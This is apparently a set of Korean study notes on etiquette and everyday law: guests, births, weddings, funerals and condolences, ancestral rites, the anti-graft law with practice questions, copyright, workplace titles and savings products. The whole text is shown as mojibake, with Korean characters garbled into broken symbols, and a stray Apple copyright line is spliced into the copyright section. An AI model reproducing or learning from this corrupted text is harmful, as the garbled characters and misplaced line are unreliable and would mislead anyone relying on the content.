์ ๋ฌผ์ ์๋ฆฌ์์ ์ด์ด๋ณด์ง ๋ชปํ๋ค๋ฉด ์์คํ ์ทจ๊ธ
์๋์ด ๋์๊ฐ ๋ ์ง์์ ์ค๋นํ ๊ฐ๋จํ ์ ๋ฌผ๋ก ๋ต๋ก
ํ๊ด์ด๋ ์ฐจ๋ฅผ ํ๋ ๊ณณ๊น์ง ๋ฐฐ์
์์์ฌ๋์ธ ๊ฒฝ์ฐ ๋์ค์ ์ ๋์ฐฉํ์
จ๋์ง ํ์ธ ์ ํ ํ์
์ ๋๋งค๋ (์ง์ฅ) ๊ณตํญ์ ๋ง์ค์ ๋๊ฐ๋ ๊ฒฝ์ฐ, ๋๋ฑํ ์ง๊ธ์ ์ฌ๋์ด ๋๊ฐ๋ ๊ฒ์ด ์ข์
์๋๋ฐฉ์ด ํธํ
์์ฝ์ ์ํ๋ค๋ฉด ํธํ
๊น์ง ์๋ด
ํ๋ฒ์ฏค ํฅํ ์์์ ๋์ ํ๊ฑฐ๋ ๋ช
์น์ง๋ฅผ ์๊ฐํ๋ ๊ฒ๋ ์ข์
์๋์ด ๊ฐ๋ ๋ฌด๋ฆฌํ๊ฒ ์ก์ง ๋ง๊ณ ๊ฐ๋จํ ์ธ์ฌ๋ง๋ก ์๋ณ
์์ ๋ฐ ์ถ์ฐ ์์ ์์ ์ ์ํ๋ ๋ถ๋ชจ์ ๋ง์์์ธ
ํฌ์์๋ ์ฌ๋์ ์ค์ฒํ๊ฒ ๋ค
ํ์ด๋๋ ์ ์๋ช
์ ์ธ๊ฒฉ์ ์ผ๋ก ๋ํ๊ฒ ๋ค
์ถ์ฐ ์ถ์ฐ : ๋ณ์์์ 2-3์ผ ์
์
์ฐํ์กฐ๋ฆฌ : ์ฐํ์กฐ๋ฆฌ์์ ์ด์ฉํ๊ธฐ๋ ํจ
์ถ์ฐํ ์ผ์น ์ผ (21์ผ) ๋์ ์ธ๋ถ์ธ์ ๋ฐฉ๋ฌธ์ ์์
์ฐ๋ฆฌ๋๋ผ๋ ์๋ก๋ถํฐ ์์ด๋ฅผ ๋ณ์ผ๋ฉด ๋๋ฌธ์ ๊ธ์ค์ ์ณค์
์๋ค์ด๋ฉด ๊ณ ์ถ+์ฏ+์์, ๋ธ์ด๋ฉด ์ฏ+์์ ๊ฒฝ์กฐ์ฌ ์์ผ ๊ฒฐํผ ์์ผ ๋ฐฑ์ผ์์น : ์ถ์ ๋ฐฑ์ผ ํ ์์ด์ ์ฐ๋ชจ๋ฅผ ์ถํ, ๋ฐฑ์ค๊ธฐ๋ฅผ ๋๋ ๋จน์ ์ฒซ๋ : ๋ง 1๋
์ด ๋๋ ์ฒซ ํด ์์ผ, ๋์ก์ด ํ๊ฐ : 61์ธ๊ฐ ๋๋ ์์ผ, ์ผ ๊ฐ์๊ฐ ๋์์ด ์ฐ๋ฆฌ๋๋ผ ๋์ด๋ก 60์ธ (๋ง 59๋๋ 58) ์ฐ๋ น๋ณ ์์ผ ๋ช
์นญ 20์ธ (์ฝ๊ด), 30์ธ (์ด๋ฆฝ), 40์ธ (๋ถํน), 50์ธ (์ง์ฒ๋ช
), 60์ธ (์ด์) 61์ธ (ํ๊ฐ), 62์ธ (์ง๊ฐ), 70์ธ (๊ณ ํฌ), 80์ธ (์ฐ์), 88์ธ (๋ฏธ์) 90์ธ (์กธ์), 100์ธ (์์) ์ฑ๋
์ ๋ ๋ง 19์ธ๊ฐ ๋๋ 5์ ์
์งธ์ฃผ ์์์ผ ๋จ์ (๊ด๋ก) : ๋๊ธฐ๋จธ๋ฆฌ ์๋ฅด๊ณ ์ํฌ๋ฅผ ๋ง๋ ํ ๊ฐ์ ์์ฐ๋ ์์ ์ฌ์ (๊ณ๋ก) : ๋จธ๋ฆฌ ์ฌ๋ ค ๋น๋
๋ฅผ ๊ฝ๋ ์์ ์์ํฅ๋ก์ผ๋ก ์ก์ ๋ง์ ํผ๋ก (๊ฒฐํผ์) ์ ํตํผ๋ก์ ์ ์ฐจ ์ํผ : ์๊ฐ๊ฐ ์ค๋งค์ธ์ ํตํด ์๋ก์ ์์ฌ๋ฅผ ์กฐ์
์๋์ด : ์ ๋ถ์ง ๋ง๋น์์ ๋ถ์๊ธฐ๋ฅผ ๋ถ๋์ฐ๋ ๊ณต์ฐ
์ ๋์
์ฅ : ์ ๋์ด ๊ธฐ๋ฌ๊ธฐ ์๋ฒ๊ณผ ํจ๊ป ์ ๋ถ์ง์ผ๋ก ๊ฐ
๊ธฐ๋ฌ๊ธฐ๋ฅผ ์ ๋ฌ ๋ฐ์ ์ ๋์ ์ ๋ถ๋ฅผ ํฅํด ์๋ฅผ ์ฌ๋ฆฌ๊ณ , ๊ธฐ๋ฌ๊ธฐ๋ฅผ ๋์ฒญ์ ์ฌ๋ ค๋์
์ ์๋ก : ์ ๋ถ์ด๋จธ๋๊ป ๊ธฐ๋ฌ๊ธฐ๋ฅผ ๋๋ฆฌ๋ ์์
์ด๋ก์ฒญ : ์ ๋๊ณผ ์ ๋ถ ์
์ฅ
๋ง์ ์ ๋ชธ๊ณผ ๋ง์์ ์ ๊ฐํ๊ฒ ํ๋ค๋ ์๋ฏธ์์ ์์ ์ป์
๊ต๋ฐฐ๋ก (๋ง์ )
์ ๋๊ณผ ์ ๋ถ๋ ์ด๋ก์ฒญ์์ ์ฒ์์ผ๋ก ์ธ์ฌ๋ฅผ ๋๋๋ฉฐ ์๋ก์๊ฒ ์ ์ ๋๊ณผ ์ ๋ถ๋ ๋ฐฑ๋
ํด๋ก๋ฅผ ์์ฝ ํฉ๊ทผ๋ก : ์ ์๊ณผ ํ์ฃผ๋ฐ์ ๊ฐ๊ฐ ์ ์ ๋ถ์ด ๋ง์๋ ์์
ํจ, ํจ์ง์ ๋น, ๋ฉํ, ๋ด์ฑ๋ก ํจ : ๊ฒฐํผ ์ ๋ ์ ๋ ์ง์์ ์ ๋ถ ์ง์ผ๋ก ๋ณด๋ด๋ ์์
ํจ์ง์ ๋น : ํ์ธ์ด๋ ์ฌ๋์ ์ฌ์ ํจ์ ์ง๊ณ ๊ฐ
ํจ ๋ด์ฉ : ์ค๊ณก ์ฃผ๋จธ๋, ์ฒญํ์ฑ๋จ, ํผ์์ง (ํผ์ธ๋ฌธ์), ๋ฌผ๋ชฉ๊ธฐ, ์๋ฌผ ๋ฑ
ํจ์ง์ ๋น ์ผํ์ ์ ๋ถ ์ชฝ ์น์ง๋ค๊ณผ ์ฌํฅ์ ๊ฐ์ง
๋ฉํ : ์ ๋ ์ชฝ์์ ํผ์์ ์ฑ๋จ, ์๋ฌผ์ ํจ์ ๋ด์ ๋ณด๋ด๋ ๊ฒ
๋ด์ฑ๋ก : ํจ์ ๋ฐ๊ธฐ์ํด ์ ๋ถ ์ง์์ ์ค๋นํ๋ ์์
ํ๋์ ๊ฒฐํผ์ ํ๋ฐฑ : ์ ๋ถ๊ฐ ์๋ ์ด๋ฅธ๋ค๊ป ์ฒซ์ธ์ฌ ์ฌ๋ฆฌ๋ ์๋ก
์์ (๋ถ๋ชจ -> ์กฐ๋ถ๋ชจ -> ๋ฐฑ๋ถ๋ด์ธ -> ์๋ถ๋ด์ธ -> ํ์ )
๋ค๋ฌ๋ฆฌ : ํ์ ์๋งค, ์ ๋ ์ ๋ถ์ ์น๊ตฌ๋ค, ์น์ฒ, ํ๋
๊ฒฝ์กฐ์ฌ ์ฅ๋ก ์์์ ์ฅ๋ก์ ๊ตํ์์ ์กฐ์ฉํ ๊ฐ์ด๋ฐ ์์ํ ์งํ ๋ฏธ์ฌ๋ ์๋ฐฐ๊ฐ ๋๋ ํ ๊ณต๋๋ฌ์ง๋ก ์ฅ๋ก ํ๋ ฌ์ด ์์ ํ๋ ฌ์ ์ ๋์๋ ๋ชฉ์ฌ๋์ด๋ ์ ๋ถ๋, ๊ฐ์ฅ ๊ฐ๊น์ด ์ ์กฑ, ์น์ฒ๊ณผ ์ง์ธ ์์ผ๋ก ์ด๋ ๋จ์ ์ ์กฑ์ ๊ฐ์ ์ธ ์ฝ์ฉ ํ์ ๊ด์๋ก ๋์ง๊ณ ์ฌ์๋ค์ ๊ฝ๊ณผ ์์ ๊ฝ๋ค๋ฐ์ ๋์ง ์ฅ๋ก ์ ์ฐจ ์ฅ๋ก ์ฒซ์งธ๋ ์์ข
(์ด๋ช
) : ๋ง์ง๋ง ์จ์ด ๋์ด๊ฐ๋ ๊ฒ
์์ : ๋์ ๊ฐ๊ธฐ๊ณ ํ๋ค๋ฆฌ๋ฅผ ๊ฐ์ง๋ฐํ ํ์ฌ ์ฝ์ ์
์ ์์ผ๋ก ๋ง์์ค๋ค
์ฌ๋ง์ฆ๋ช
์ : ์์ฌ ๋๋ ์, ๊ตฐ ๊ฒ์ฌ๊ด์ด ์ฌ๋งํ์ง 24์๊ฐ ์ด๋ด์ ๋ฐ๊ธํ๋ค
๋ฐ์ : ์ด์์ด ๋ฌ์์ ์ธ๋ถ์ ์๋ฆฌ๊ณ ์๋ก๋ฅผ ์์ํจ์ ๋งํ๋ค
๋ถ๊ณ : ๊ณ ์ธ๊ณผ ์ ์กฑ์ ๊ฐ๊น์ด ์น์ธ์ฒ, ์ง์ธ, ํ์ฌ ๋ฑ์ ๋ถ๊ณ ๋ฅผ ๋ธ๋ค
์ฅ๋ก ๋์งธ๋ ์ผ์ต : ์๋
๋ ์์ด๋ ๊ฑฐ์ฆ๋ก ์์ ์ ์ป๊ธฐ๋ฉฐ(์ผ), ์์๋ฅผ ์
ํ๋ค(์ต)
์
๊ด : ์์ ์ ๊ด์ ๋ชจ์ ๋ค
์์ข ์ค์น : ์์ ์ฌ์ง์ ์ ์ ์์ ๋ชจ์๊ณ ์์ ์ ์์ผ๋ก ์ด๋ถ์ ๋ฐํ๋ค
์ฑ๋ณต : ์์ ๋ ์๋ณต์ ์
๋๋ค
์กฐ๋ฌธ : ์ฑ๋ณต์ด ๋๋๋ฉด ์กฐ๋ฌธ์ ๋ฐ๋๋ค
์กฐ๋ฌธ : ๋์๊ฐ์ ๋ง์์ ๋ณต์ ๋น๊ณ , ์ฌํ์ ์๋กํ๊ธฐ ์ํด ์ฅ๋ก์์ฅ์ ๊ฐ๋ ํ์
์ฅ๋ก ์
์งธ๋ ๋ฐ์ธ : ์๊ตฌ๊ฐ ์ง์ ๋ ๋๋ ์ ์ฐจ์ด๋ฉฐ ๋ฐ์ธ์ ๋ฅผ ์ง๋ธ๋ค
์ด๊ตฌ : ์๊ตฌ๋ฅผ ์ฅ์ง(ํ์ฅ์ง)๊น์ง ์ฅ์์ฐจ๋ ์์ฌ๋ก ์ด๋ฐ
ํ๊ด : ์ฅ์ง์์ ์๊ตฌ(๊ด)์ ๊ด์ค(๊ตฌ๋ฉ์ด)์ ๋ฃ๋๋ค
์ฑ๋ถ(๋ด๋ถ) : ๊ด์ ์์ ํ ๋ฎ์ ํ, ํ์ ์์ ์ฌ๋ ค ์๋๋ฅผ ์
ํ๋ค
์๋ น์ (์ฑ๋ถ์ ) : ๋ฌ์ ์์ ์์ข๋ฅผ ๋ชจ์๊ณ ์ ์ฌ๋ฅผ ์ฌ๋ฆฐ๋ค
์ฅ๋ก ํ ์ ์ ๋ฐ์ฐ์ : ์ง์ผ๋ก ๋์์ ์ํผ์ ์ง์ ๋ง์๋ค์ด๋ ์ ์ฌ
์ผ์ฐ์ : ๋ฌ์์์ ์ฅ๋ก๋ฅผ ์น๋ฅธ์ง 3์ผ์งธ ๋๋ ๋ ์ ๋๋ฆฌ๋ ์ ์ฌ
์ฌ์ญ๊ตฌ์ : ์ฅ๋ก์ผ๋ก๋ถํฐ 49์ผ์งธ ๋๋ ๋ ์ ์ง๋ด๋ ์ ์ฌ
๋ฐฑ์ผ์ : ์ฅ๋ก ํ ๋ฐฑ์ผ์งธ ๋๋ ๋ ์ ์ง๋ด๋ ์ ์ฌ
์กฐ๋ฌธ ์์ ๋ฐฉ๋ช
๋ก ์๋ช
-> ๋ถํฅ๊ณผ ํํ -> ์ฌ๋ฐฐ(ํฐ์ 2) -> ์กฐ๋ฌธ(ํ์ 1) -> ๋ถ์๊ธ ์ ๋ฌ
๊ฐ๊น์ด ์ฌ๋์ด๋ผ๋ฉด ์ฆ์ ์ฐพ์๊ฐ์ ์ ๋์ ๋ป์ ์ ํ๊ณ ์ฅ๋ก ์ ์ฐจ๋ฅผ ๋์์ค
์ผ๋ฐ์ ์ผ๋ก ์ผ์ด ๋๋๊ณ ์ค๋น๊ฐ ๋ ์์ข
์ผ ๋ค์๋ ์กฐ๋ฌธ์ ๊ฐ๋ค
๋ฌธ์ ์ ๋ณต์ฅ ๊ฒ์์, ๋จ์ ํ๊ฒ, ํ๋ คํ ์ก์ธ์๋ฆฌX, ์งํ ๋ฉ์ดํฌ์
X
์กฐ๋ฌธ ์ ์ธ์ฌ๋ง “์ผ๋ง๋ ์์ฌ์ด ํฌ์ ์ง์”, “์๋ก์ ๋ง์์ ์ฌ๋ฆฝ๋๋ค”
์กฐ๋ฌธ์ ์์ ์ ๋ถํฅํ๋ ๋ฐฉ๋ฒ ์ ๊ต์ : ์์ ์ ๋ถํฅ ํ ํฐ์ ์ ๋ ๋ฒํ๊ณ ๋ ํ, ์์ฃผ์ ํ์
๊ธฐ๋
๊ต์ : ๊ฝ์ ์ฌ๋ฆฌ๊ณ (๊ฝ๋ด์ค๋ฆฌ๊ฐ ์กฐ๋ฌธ๊ฐ ์ชฝ์ผ๋ก), ๊ธฐ๋(๋ฌต๋
)์ ํ ํ ์์ฃผ์ ํ์
์กฐ์๊ธ ์ ๋ฌ ๋ฌธ์์ ๋ง์น ํ ๋ฌผ๋ฌ๋์ ๋ถ์ํจ์ ์ง์ ๋ฃ์
์์ฃผ์๊ฒ ์ง์ ๊ฑด๋ค๋ ๊ฒ์ ๊ฒฐ๋ก
๋ดํฌ์ ๋ถ์, ๊ทผ์กฐ, ์กฐ์ ๋ฑ์ด๋ผ ์
๊ฒฝ์กฐ์ฌ ์ ๋ก ์ ๋ก์ ์ข
๋ฅ ๊ธฐ์ ์ฌ ๋์๊ฐ์ ๋ถ๋ชจ๋๊ณผ ์กฐ๋ถ๋ชจ๋์ ๊ธฐ๋ฆฌ๋ ์ ์ฌ ์๋ฏธ : ๋์๊ฐ์ ๋ถ๋ชจ, ์กฐ๋ถ๋ชจ๋์ ์๊ฐํ๋ฉฐ ๋ฟ๋ฆฌ์์๊ณผ ์ ์ฒด์ฑ ์ฐพ๊ธฐ ์๊ฐ : ๋์๊ฐ์ ๋ ์ ์์ (๋ฐค 11์ ~ ์๋ฒฝ 1์)์ ์์ ๊ธฐ๋
๊ต, ์ฒ์ฃผ๊ต๋์ธ : ๊ฐ์กฑ ์๋ฐฐ, ์ถ๋์์ผ๋ก ๋์ ํจ ์ฐจ๋ก ๋ช
์ ๋ ์์นจ์ ์ง๋ ์์ ํ ๋ฒ ์ฌ๋ฆฌ๊ณ , ์ถ๋ฌธ์ ์ฝ์ง ์์ ์ด๋ถ์ ํค์ง ์์ ์์ ์ฌ (์ํฅ) ๊ธฐ์ ๋ฅผ ๋ชจ์์ง ์์ ์กฐ์์ ๋ชจ์๋ ์ ์ฌ ์๋ ฅ 10์์ ์ค์ ์ง๊ณ์์, ๋ฐฉ๊ณ์์์ ๋๊ตฌ๋ ์ฐธ์ฌ ๋ฎ์ ์ผ์ธ์์ ์ง๋ด๋ฉฐ ๊ธฐ์ ์ ์ฐจ์ ๊ฐ์ ์ฐจ๋ก์ ๋ฐ๋ผ๋ดค์ ๋ ์ค๋ฅธ์ชฝ ๋์ชฝ, ์ผ์ชฝ ์์ชฝ
1์ด (์์ , ์, ๋ก๊ตญ, ์๋ฃจ๋ก)
2์ด (์ , ์ก์ , ์์ , ์ , ์ด์ )
3์ด (์กํ, ์ํ, ์ดํ)
4์ด (ํฌ, ๋๋ฌผ, ๊ฐ์ฅ, ๋๋ฐ๊น์น, ์ํ)
5์ด (๊ณผ์ผ, ํ๊ณผ)
์ขํฌ์ฐํ : ์ข์ธก์ ํฌ, ์ฐ์ธก์ ์ํ
์ด๋์ก์ : ๋์ชฝ์ ์ด๋ฅ, ์์ชฝ์ ์ก๋ฅ
๋๋๋ฏธ์ : ์์ ์ ๋จธ๋ฆฌ๋ ๋์ชฝ ๊ผฌ๋ฆฌ๋ ์์ชฝ
์กฐ์จ์ด์ : ๋์ถ, ๋ฐค, ๋ฐฐ, ๊ฐ
์ ์ฌ์์๊ณผ ๊ธฐ๋ณธ ์์ ๋ณต์ญ์, ‘์น’์ ์์ (๊ฝ์น, ์ฐธ์น, ๊ฐ์น)๋ ์ฌ์ฉํ์ง ์๋๋ค ๊ณ ์ถง๊ฐ๋ฃจ, ๋ง๋ ์๋
์ ์ฌ์ฉํ์ง ์๋๋ค ์ง์ค์ ์์๋ ์์ (์์ ๋ด์ ๋๋ ๊ทธ๋ฆ)๊ณผ ์๋ฐ์ ๋จผ์ ์ฌ๋ฆฐ๋ค์ 1์ด ๋ถํฐ ๋๋๋ค ์ค์๋ ๋ก๊ตญ, ์ถ์์๋ ์กํธ, ๊ธฐ์ ์ฌ๋ ๋ฉ(๋ฐฅ)์ ์ฌ๋ฆฐ๋ค ์ํ, ํ, ๋ฉด์ ๊ฑด๋๊ธฐ๋ฅผ ์ฌ์ฉํ๋ค ์ ์ฃผ (์ ์) ํ (๋ํ๋ ํ) ๊ด๊ณ (์๋ฒ์ง : ๊ณ , ์ด๋จธ๋ : ๋น, ํ ์๋ฒ์ง : ์กฐ๊ณ , ํ ๋จธ๋ : ์กฐ๋น) ์ด๋ฆ ์ ์ ์ฒญํ๊ธ์ง๋ฒ ์ฒญํ๊ธ์ง๋ฒ (๊น์๋๋ฒ) ์ฐ๋ฆฌ๋๋ผ ๊ณต์ง์ ๋ฑ์๊ฒ ๋ถ์ ์ฒญํ ๋ฐ ๊ธํ์์๋ฅผ ๊ธ์งํจ ์ ์ฉ : 2๋
์ดํ ์ง์ญ ๋๋ 2000๋ง์ ์ดํ ๊ณผํ๋ฃ 1. ๋ถ์ ์ฒญํ ๊ธ์ง ์ฒญํ๋์ ๊ตญ๊ฐ/์ง๋ฐฉ, ๊ณต์ง ์ ๊ด๋จ์ฒด, ๊ณต๊ณต๊ธฐ๊ด๊ณผ ๊ณต๋ฌด์๊ณผ ๋ฐฐ์ฐ์ ๊ตญ/๊ณต/์ฌ๋ฆผ ํ๊ต ๊ต์ง์, ํ๊ต๋ฒ์ธ์ ์์ง์, ๋ฐฐ์ฐ์ ์ธ๋ก ์ฌ ์ข
์ฌ์์ ๋ฐฐ์ฐ์ ์์ธ ์กฐํญ :๊ณต์ต์ ์ธ ๋ชฉ์ ์ผ๋ก ๊ณ ์ถฉ ๋ฏผ์์ ์ ๋ฌํ๋ ํ์ ๋ฑ ์ ๊ณ ๋ฐฉ๋ฒ ๋ฐ์ ๊ธํ์ ๋๋ ค์ฃผ๊ณ ๊ฑฐ๋ถ ์์ฌ๋ฅผ ํํ ์กฐ์น ์ดํ์๋ ๋ค์ ๋ฐ๋๋ค๋ฉด ์์ ๊ธฐ๊ด์ฅ์๊ฒ ์๋ฉด(์ ์๋ฌธ์ ํฌํจ)์ผ๋ก ์ ๊ณ 2. ๊ธํ์์ ๊ธ์ง ๋์ ๋์ผ์ธ์ผ๋ก๋ถํฐ 1ํ 100๋ง์์ด๊ณผ ๋งค ํ๊ณ์ฐ๋ 300๋ง์ ์ด๊ณผ ๊ธํ ๋ฑ ์์ ์ง๋ฌด์ ๊ด๋ จํ์ฌ 1ํ 100๋ง์ ์ดํ ๊ธํ ๋ฑ ์์ ๋ฐฐ์ฐ์๊ฐ ์์ ๊ธ์ง ๊ธํ ๋ฑ์ ๋ฐ์ ๊ฒฝ์ฐ ์ธ๋ถ ๊ฐ์์ ๋ํต๋ น๋ น์ผ๋ก ์ ํ๋ ๊ธ์ก์ ์ด๊ณผํ๋ ์ฌ๋ก๊ธ ์์ ์์ฌ๋น (3๋ง์), ์ ๋ฌผ (5๋ง์), ๊ฒฝ์กฐ์ฌ๋น (5๋ง์) (๊ฒฐํผ, ์ฅ๋ก๋ง), ๊ธํ (100๋ง์) ์ฒ๋ฒ ๊ณผํ๋ฃ : ๊ธํ์์ (์์๊ธ์ก 2๋ฐฐ ์ด์ 5๋ฐฐ์ดํ), ๊ฐ์ ์ฌ๋ก๊ธ(500๋ง์ ์ดํ) ํ์ฌ ์ฒ๋ฒ : ๋์ผ์ธ์ผ๋ก๋ถํฐ … (3๋
์ดํ ์ง์ญ 3์ฒ๋ง์์ดํ ๋ฒ๊ธ) ์ฐ์ต๋ฌธ์ ๊ณต์ง์ ์๋
๋์์น์ ์ฐธ์ฌํ๋ฉฐ ์ถํ๊ธ์ผ๋ก 5๋ง์์ ์ ๊ณตํ๋ ๊ฒ -> ์๋ฐ (๋์์น๋ ๊ฒฝ์กฐ์ฌ๋น X) ๊ณต์ง์๊ฐ ๊ฒฐํผ์ ํ๊ฐ์ผ๋ก ์ฐธ์ํ์ฌ 3๋ง์ ์ด์์ ์์ฌ๋ฅผ ์ ๊ณต๋ฐ์ ํ์ -> ์๋ฐX (๋ชจ๋ ์ฌ๋๋ค์๊ฒ ๋์ ํ์ผ๋ฏ๋ก) ๊ณต์ง์ ๋ถ์น์ ์ฅ๋ก์์ ๋ถ์๊ธ 5๋ง์๊ณผ ๋ณ๋์ ํํ์ ๋ณด๋ด๋ ๊ฒฝ์ฐ -> ๋ถ์๊ธ + ํํ 10๋ง์ ์ดํ์ผ ๊ฒฝ์ฐ ์๋ฐ X ์ ์๊ถ๋ฒ ์ ์๊ถ ์ ์๊ถ : ์ฐฝ์์๊ฐ ๊ฐ์ง๋ ๊ถ๋ฆฌ
์ ์๋ฌผ : ์ฌ๋์ ์ฌ์์ด๋ ๊ฐ์ ์ ์ผ์ ํ ํ์์ ๋ด์, ์ด๋ฅผ ๋ค๋ฅธ ์ฌ๋๋ค์ด ๋๋ผ๊ณ ๊นจ๋ฌ์ ์ ์๋๋ก ํํํ ๊ฒ.
์ ์๊ถ๋ฒ์ ๋ชฉ์
์ ์์์ ๊ถ๋ฆฌ๋ฅผ ๋ณดํธํ๊ณ ์ ์๋ฌผ์ ๊ณต์ ํ ์ด์ฉ์ ๋๋ชจํจ์ผ๋ก์จ ๋ฌธํ์ฐ์
์ ๋ฐ์ ์ํค๋๋ฐ ์๋ค. ์ ์๊ถ์ ํ์
Copyright ยฉ2022 Apple Inc.
์ ์๊ถ๋ฒ ์ ์ ๋ฐฐ๊ฒฝ 15์ธ๊ธฐ ์ถํ์ธ์์ ์ ๋ฐ๋ช
์ผ๋ก ๋ฌธ์์ ๋๋๋ณต์ ๊ฐ ๊ฐ๋ฅํด์ง
์ฐ๋ฆฌ๋๋ผ์ ์ ์๊ถ๋ฒ
1957๋
์ ์๊ถ๋ฒ ์ ์ (์ผ๋ณธ ์ ์๊ถ๋ฒ ์ ์ ์
1987๋
๊ตญ์ ์๋์ ๋น๋์ผ๋ก ์ ์๊ถ๋ฒ ๊ฐ์ 1996๋
๋ฒ ๋ฅธ ํ์ฝ ๊ฐ์
๋ฌดํ๋ ๋ฐฉ์ ์ฃผ์ (์ฐ๋ฆฌ๋๋ผ์ ์ ์๊ถ๋ฒ)
=> ์ ์๋ฌผ์ ์ฐฝ์ํ๋ ๋์์ ์๋์ผ๋ก ๋ฐ์ํ๋ ๊ฒ์ผ๋ก ๋ด => ์ ์๊ถ์ ๋ฐ์์ ์ด๋ ํ ์ ์ฐจ๋ ํ๋๋ฐฉ์์ ์ํ์ง ์๋๋ค๋ ๊ฒ์ ์๋ฏธ ์กฐ๊ฑด : ์์ ๋ง์ ํํ ๋ฐฉ์์ผ๋ก ๋
์์ ์ผ๋ก ํํํ ๊ฒ ๋ฐฉ์์ฃผ์ (์ฐ๋ฆฌ๋๋ผ์ ํนํ๊ถ)
=> ๊ธฐ์ ๊ณต๊ฐ์ ๋๊ฐ๋ก ๋
์ ๊ถ์ ๋ถ์ฌํจ์ผ๋ก์จ ๋ฐ๋ช
์์์ ๊ณ ์ทจํจ ์กฐ๊ฑด : ์ด๋ฏธ ์๋ ค์ง ๊ธฐ์ ์ด ์๋์ด์ผํ๊ณ ์ฐ์
์ ์ด์ฉ ๊ฐ๋ฅ ํ ๊ธฐ์ ์ผ ๊ฒ ๋ฒ์ ๋ณดํธ๋ฅผ ๋ฐ๋ ์ ์๋ฌผ์ด ๋๋ ์๊ฑด
๋
์ฐฝ์ฑ์ด ์์ด์ผ ํ๋ค ๋ค๋ฅธ ์ฌ๋์ด ๋๊ปด์ ์ ์ ์์ ์ ๋๋ก ์ธ๋ถ์ ํํ๋์ด์ผ ํ๋ค ์ ์ ์ธ๊ฒฉ๊ถ
์ ์์์ ๋ช
์์ ์ธ๊ฒฉ์ ์ด์ต์ ๋ณดํธํ๊ธฐ ์ํ ๊ถ๋ฆฌ ๊ณตํ๊ถ, ์ฑ๋ช
ํ์๊ถ, ๋์ผ์ฑ ์ ์ง๊ถ (๋จํธ์์ค -> ๋งํ ์ ์ํ๋ ๊ฒฝ์ฐ) ์ ์์ฌ์ฐ๊ถ
=> ์ ์๋ฌผ์ ์ด๋ค ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํ๋๋์ ๋ฐ๋ฅธ ๊ถ๋ฆฌ ๋ณต์ ๊ถ : ๋ณต์ฌ, ์ธ์, ์ฌ์ง, ๋
น์, ๋
นํ ๋ฑ์ ๋ฐฉ๋ฒ์ผ๋ก ๋ค์ ์ ์ํ๋ ๊ฒ ๊ณต์ฐ๊ถ, ๊ณต์ค์ก์ ๊ถ, ์ ์๊ถ, ๋ฐฐํฌ๊ถ, ๋์ฌ๊ถ, 2์ฐจ์ ์ ์๋ฌผ ์์ฑ๊ถ ์ ์์ธ์ ๊ถ
์ ์๋ฌผ์ ์ ๋ฌ์๋ก์์ ์ญํ ์ ํ๋ ์์๊ฒ ๋ถ์ฌ๋๋ ๊ถ๋ฆฌ ์ง์ฅ๋งค๋ ํธ์นญ ์๊ธ์ : ์ฑ์จ+์ง์+๋, ์ง์+๋ ๋๊ธ์ ์ฑ์จ+์ง์, ์ฑ์จ+์ง์+๋ (์ ์นํ๊ฑฐ๋ ๋์ด๊ฐ ๋ง์ ๋) ์ฑ๋ช
+์จ (์ฐํ์ด๊ฑฐ๋ ์ง๊ธ์ด ์์ ๋) ํ๊ธ์ : ์ฑ๋ช
+์จ, ์ ๋ฐฐ๋(์ฐ์ฅ์) ์ง์ฅ ์์ฌ์ ๊ฐ์กฑ : ๋จํธ(์ฑ+์ ์๋), ๋ถ์ธ(์ฌ๋ชจ๋), ์๋
(์ฑ๋ช
+์จ) ๋๋ฃ์ ๊ฐ์กฑ : ๋จํธ (๋ถ๊ตฐ, ๋ฐ๊นฅ์ ์๋), ์๋ด(๋ถ์ธ, ์์ฃผ์ธ) ์ธ์ฌ๋ง ์์์ฌ๋์๊ฒ : ๊ณ ์ํ์ญ์์คX, ์๊ณ ํ์ญ์์คX ๋ฐ๋ฅด๊ฒ ์๋ ์์ธ ์์ ์ผํธ์ผ๋ก ๋ค์ด๊ฐ์ ๊น์ํ ์๋๋ค ํ๋ฆฌ์ ๊ฐ์ดํด๊ณ ๋ฑ๋ฐ์ด์ ๊ธฐ๋๋ค, ๋ค๋ฆฌ๋ฅผ ๊ผฌ์ง ์๊ณ ๋ฌด๋ฆ์ ๋ถ์ฌ ์๋๋ค ์ง์ ๋ฐ์ ๋ 5W 2H (When Where Who What Why, How How much) ๊ด์ 20๋ ์์ฐํ์ฑ ์ข
์ฃ๋ ๋ชจ์ผ๊ธฐ ์ข
์ฃ๋ : ๋ณธ๊ฒฉ์ ์ธ ํฌ์๋ฅผ ์์ํ๋๋ฐ ํ์ํ ์ด๊ธฐ์๊ธ
๊ฐ์์ ์ธ ๋ชฉํ๋ฅผ ์ธ์ฐ์ (ex ์ด๋ฒ๋
์ 500๋ง์์ ๋ชจ์ผ์)
๊ธ์ก : ๊ธฐ์กด ์ ์ถ๊ธ์ก์ ์ ์ธํ ๋๋จธ์ง ๊ธ์ก
๊ธฐ๊ฐ : 1~2๋
์ ๋จ๊ธฐ๊ณํ, ์์ ํ ์ ๊ธ์ด๋ ์ฑ๊ถํ ํ๋
๊ธ์ต ์ํ ์ ํ
์ฃผํ์๊ธ : ์ฃผํ์ฒญ์ฝ์ ์ถ, ๋
ธํ์๊ธ : ์ฐ๊ธ์ ์ถ
๊ฒฐํผ์๊ธ : ํผํฉํ ํ๋, ๋น์๊ธ : CMA์ํ, ์ข
์ฃ๋ : ์ ๊ธ/์ฑ๊ถํ ํ๋
์ฃผํ์ฒญ์ฝ์ ์ถ
์๋ก ์ง์ ์ํํธ๋ฅผ ๋ถ์ ๋ฐ์ผ๋ ค๋ ์ฌ๋๋ค์ด ๊ฐ์ค
1์ธ 1๊ณ์ข, ์ฃผํ ์์ ์ฌ๋ถ์ ๊ด๊ณ์์ด ๊ฐ์
๊ฐ๋ฅ
๊ณต๊ณต๋ถ์ (์ฃผํ๊ณต์ฌ) : ์ ๊ธํํ (2~10)
์ฒญ์ฝ๊ธ์ก์ด ํด์๋ก ์ ๋ฆฌ ๋ฏผ๊ฐ๋ถ์ (๋ฏผ๊ฐ๊ฑด์คํ์ฌ) : ๊ฐ์ ์ , ์ถ์ฒจ์
๋ฌด์ฃผํ ๊ธฐ๊ฐ ๊ธธ์๋ก, ๋ถ์๊ฐ์กฑ ๋ง์์๋ก ์ ๋ฆฌ ๊ตญ๋ฏผ ์ฐ๊ธ๋ณดํ
